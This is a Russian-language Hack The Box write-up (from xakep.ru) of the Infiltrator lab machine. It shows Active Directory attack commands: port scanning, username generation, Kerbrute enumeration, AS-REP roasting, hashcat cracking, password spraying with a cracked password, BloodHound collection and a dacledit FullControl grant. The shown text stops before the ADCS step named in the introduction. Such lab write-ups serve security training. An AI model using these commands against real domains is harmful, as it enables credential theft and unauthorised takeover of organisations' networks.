Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124

Мы проведем классический сбор данных в Active Directory и через цепочку разрешений скомпрометируем учетную запись, с которой получим сессию на хосте. Затем извлечем данные из мессенджера, вскроем приложение на .NET и проэксплуатируем планировщик задач для получения служебной учетной записи. Повысим привилегии через технику ESC4 для службы ADCS.
Наша цель — получение прав суперпользователя на машине Infiltrator с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.31 infiltrator.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта
Сканер нашел 13 открытых портов:
Добавим в /etc/hosts еще и полное имя машины, а затем начнем разведку с изучения сайта.
10.10.11.31 infiltrator.htb dc01.infiltrator.htb dc01

Главная страница сайта
На сайте находим список сотрудников. Выписываем их в отдельный файл.

Сотрудники компании
С помощью следующего скрипта мы можем составить список возможных учетных записей в домене.
import sysif len(sys.argv)==1: print("Usage: " + sys.argv[0] + " <usernames.txt>") sys.exit(1)names = open(sys.argv[1],"r").read().strip().split('n')list = []for name in names: n1, n2 = name.split(' ') list.append(n1) list.append(n1+n2) list.append(n1+"."+n2) list.append(n1+"-"+n2) list.append(n1+"_"+n2) list.append(n1+n2[0]) list.append(n1+"."+n2[0]) list.append(n1+"-"+n2[0]) list.append(n1+"_"+n2[0]) list.append(n2[0]+n1) list.append(n2[0]+"."+n1) list.append(n2[0]+"-"+n1) list.append(n2[0]+"_"+n1) list.append(n2) list.append(n2+n1) list.append(n2+"."+n1) list.append(n2+"-"+n1) list.append(n2+"_"+n1) list.append(n2+n1[0]) list.append(n2+"."+n1[0]) list.append(n2+"-"+n1[0]) list.append(n2+"_"+n1[0]) list.append(n1[0]+n2) list.append(n1[0]+"."+n2) list.append(n1[0]+"-"+n2) list.append(n1[0]+"_"+n2)for n in list: print(n)python3 getusers.py team.txt > pos_users.txt
Теперь можно использовать инструмент Kerbrute для определения учетных записей, которые реально существуют в домене. Дело в том, что Kerberos возвращает разные коды ошибок для существующей и несуществующей учетных записей.
kerbrute_linux_amd64 userenum -d infiltrator.htb --dc dc01.infiltrator.htb pos_users.txt

Учетные записи в домене
Имея список действительных учетных записей, можно провести атаку AS-REP Roasting. Если в UAC пользователя установлен флаг «Без предварительной проверки подлинности Kerberos», то мы можем получить TGT-билет пользователя без верного пароля, а затем сбрутить пароль офлайн.
GetNPUsers.py -dc-ip 10.10.11.31 infiltrator.htb/ -usersfile users.txt -no-pass

Проведение атаки AS-REP Roasting
Получаем хеш пользователя L.Clark и можем его пробрутить с помощью hashcat. Затем валидируем учетные данные через NetExec.
hashcat hash.txt rockyou.txt

Результат подбора пароляnxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!'

Проверка учетных данных
Получив валидные логин и пароль, собираем информацию из домена. Первым делом получаем список всех пользователей.
nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!' --users

Пользователи домена
В описании одной учетной записи есть строка, похожая на пароль. Сохраняем всех юзеров в файл и пробуем использовать найденную строку как пароль для других аккаунтов.
nxc smb 10.10.11.31 -u users.txt -p passwords.txt --continue-on-success

Результат перебора
На некоторых учетных записях получаем ошибку STATUS_ACCOUNT_RESTRICTION, а значит, повторим перебор, но теперь с использованием аутентификации Kerberos.
nxc smb DC01.infiltrator.htb -u users.txt -p passwords.txt -k --continue-on-success

Результат перебора
Ошибка сменилась на KRB_AP_ERR_SKEW, а значит, нам нужно синхронизировать время на локальной машине с сервером.
sudo timedatectl set-ntp falsesudo ntpdate -s 10.10.11.31
У нас есть несколько учеток, пришло время собрать базу данных BloodHound. Для сбора данных с использованием инструментария под Linux нам нужен рабочий DNS-сервер, однако иногда до него можно не достучаться. Поэтому мы развернем свой при помощи скрипта DNSChef.
Справка: BloodHound
Утилита BloodHound использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки.
Первым делом нам нужно создать конфиг infiltrator.txt, в котором должны быть стандартные для любого домена записи DNS.
[A] *.infiltrator.htb=10.10.11.31 [SRV] _ldap._tcp.pdc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb _ldap._tcp.gc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb _kerberos._tcp.dc._msdcs.infiltrator.htb=0 5 88 infiltrator.htb
Затем отключаем системный резолвер и запускаем свой DNS-сервер.
sudo systemctl stop systemd-resolved python3 dnschef.py --file ./infiltrator.txt

Запуск DNSChef
Затем используем скрипт bloodhound-ce для сбора данных BloodHound. После завершения работы скрипта не забываем отключить DNSChef и снова активировать systemd-resolved.
python3 bloodhound.py -d 'infiltrator.htb' -u 'L.Clark' -p 'WAT?watismypass!' -c All -ns 127.0.0.1 -dc DC01.infiltrator.htb --use-ldap --zip --auth-method ntlm sudo systemctl start systemd-resolved

Сбор данных BloodHound
Строим граф от пользователя D.ANDERSON.

Граф BloodHound
Пользователь D.ANDERSON имеет право GenericAll на подразделение MARKETING DIGITAL, где состоит пользователь E.RODRIGUEZ. Это право позволяет нам назначить любые права для всех членов подразделения. С помощью скрипта dacledit из пакета Impacket даем пользователю D.ANDERSON полные права на всех членов MARKETING DIGITAL.
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson:WAT?watismypass!' -k -dc-ip 10.10.11.31

Назначение прав на подразделение
Источник: xakep.ru